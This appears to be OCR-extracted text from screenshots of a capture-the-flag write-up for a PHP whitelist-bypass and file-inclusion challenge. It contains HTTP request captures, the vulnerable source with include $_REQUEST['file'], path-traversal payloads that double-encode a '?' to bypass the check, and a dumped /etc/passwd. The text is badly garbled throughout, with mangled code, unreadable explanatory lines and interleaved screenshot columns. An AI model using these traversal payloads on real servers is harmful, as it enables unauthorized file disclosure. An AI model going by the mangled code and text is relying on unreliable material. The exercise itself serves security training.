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Request Response

Raw | Headers | Hex Raw | Headers | Hex HTMLIRender}

GET /HTTP/1.1 A HTTR/1.1 200 0K

Host: 220.249.52.134:36322 i Date: Tue, 22 Dec 2020 08:05:03 GMT
UserAgent: Mozilla/5.0 (Windows MT 10.0; WinE4, x64; rnv:84.0) Gecko/20100101 Firefox/84.0 Server: Apachef2.4.25 (Dehian)
Accept: text/html, application/xhtml+xml, application/xml; q=0.9 imagefwebp */* q=0.8 ¥-Powered-By: PHF/5.6.36
Accept-Language: zh-CM zh;q=0.8 zh-TW,=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Content-Length: 354

Connection: close Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html; charsst=UTF-8

Cache-Control: max-age=0
<IDOCTYPE htmi>
<html lang="en">
<head=>
<meta charset="UTF-8">
<meta name="viewpornt" content="width=device-width, initial-scale=1.0">
<meta http-aquiv="X-UA-Compatible” content="je=edge">
<title>Document</title=
</head>

<br=<img src="https:/i.loli. net/2018/11/01/5bdb0d93dc794 jpg" f></body >
</html>
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{?php
highlight file( FILE ):
class emmm

r
1
public static function checkFile (&$page)
:
1
$whitelist = [“source”=>"source.php”, “hint”"=>"hint. php”];
if (! isset($page) lis string($page)) |

echo ”you can't see it”;
return false;

if (in_array($page, S$whitelist)) {
return true;

$ page = mb_substr(
Spage,
0,
mb_strpos($page . 77, '?7)
)
if (in_array($ page, Swhitelist)) |
return true;
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J_pdage —  uridecode\Jdpage;
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e is_string() — MZERBRFFH, & ERE1, A& RE %

* mb_substr(str, start, length) — 2[5l 777 8 (] — (47, substr() BE, HAKTTCF R, mb_substr(), A LU SCERF
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o mb_strpos(x,y) — ERyEXFHREIKME, REFMPERS (REGiHHFE, AT

. ?file=source.php?../.../...I...I...letc/passwd

$page
@ HackBar Quantum ~ X

mb _strpos(Spage . 7?7, '?")
Encryption¥  Encoding ¥ :
if (in_array($_page, $whitelist)) [

Other¥  XSS¥ SQL¥
return true;

Strings¥ | Payloads¥ }
@l Load ﬂ Split | * Run
$_page = urldecode(Spage);
http://220. 249. 52. 134:39011 $_page = mb_substr(
source. php?file=source. php?../../../../.. SJage
etc/passwd
mb _strpos (§_page . 7, 7))
):
if (in_array($_page, $whitelist)) [
Auto-Pwn¥ return true;
[enable Post Data 1
[JEnable Referer echo “you can't see it”;

return false;

}

if (! empty($_REQUEST[ file'])
&& is_string($_REQUEST[ file’])
&&  emmm: :checkFile($_REQUEST[ file' 1)

) |

include $ REQUEST[ file'];

exit;
} else |

echo “<br><img sre=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. jpe\” />":
}

?> rootx:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/shin/nolegin binx:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:
Jusr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr
/sbin/nologin Ip:x:7:7:1p:/var/spool/Ipd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:xx:9:9:news:/var/spool/news:
Just/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:ix:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin
/nologin irc:x:39:39:ired:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

e o morhec nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534:/nonexistent:/bin/false
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http://220.249. 52. 134:39011/source. ph?file=hint. php mb_strpos (Spage . 7?7, '?7)

)

if (in array($ page, S$whitelist)) {
return true;

}

Auto-Pwn™ $_page = urldecode(Spage);

[JEnable Post Data $ page = mb_substr(

[JEnable Referer $_page,
0



mb_strpos ($_page T,

)
if (in array($ page, Swhitelist)) {

return true;

1
I
"

echo “you can't see it”;
return false;

]
i

if (! empty($_REQUEST[ file' 1)
&& is_string($ REQUEST[ file'])
&& emmm: :checkFile($ REQUEST[ file 1)

Y |
include $_REQUEST[ file'];
exit;
b oelse {
echo “<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc7
1
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if (in_array(Spage, $whitelist)) [
Encryption¥ | Encoding ¥ return true;

1
I

Other¥v | XSS¥ SQL¥

Strings¥ | Payloads+ $ page = mbfsubstr(
wload | 1 spiit | »/Run | 3page|

http://220.249. 52. 134:39011 mb_strpos ($page . 2?7, %)
/source. php?file=source. php?/../../../.. )

/t1tf1111aanagssd if (in_array($_page, Swhitelist)) {

return true;
1
s

Auto-Pwn¥ $_page = urldecode (Spage):
[ Enable Post Data $ page = mb_substr(
[[]Enable Referer $_page,
0,
mb_strpos($ page . 2, '?)
)i

if (in array($ page, $whitelist)) {
return true;

},

echo ”you can’t see it”;

return false;

1
H

if (! empty($_REQUEST[ file'])
&& is_string($_REQUEST[ file’])
&& emmm: :checkFile ($_REQUEST[ file'])

)y q
include $_REQUEST[ file’];
exit;

} else {

echo “<br><{img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. jpg\” />";
1
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http://220. 249. 52. 134:39011 mb_strpos(Spage . %, )
/source. php?file=hint. php%253£/.. /.. /.. /.. )
/ffffllllaaaaggeg if (in array($ page, $whitelist)) {

return true;

1
I

Auto-Pwn¥ $_page = urldecode(Spage):
[J Enable Post Data $ page = mb_substr(
[ Enable Referer $_page,
0

mb_strpos($ page L, )



rs

if (in array($ page, $whitelist)) {
return true;

}

echo “you can't see it”;

return false;

1
I

if (! empty($ REQUEST[ file'])
&k is_string ($_REQUEST[ file’])
&&  emmm: :checkFile ($_REQUEST[ file'])

include $ REQUEST[ file’];
exit;
} else |
echo “<br>{img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. jpg\”

]
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Source: https://github.com/notdls/hackbar
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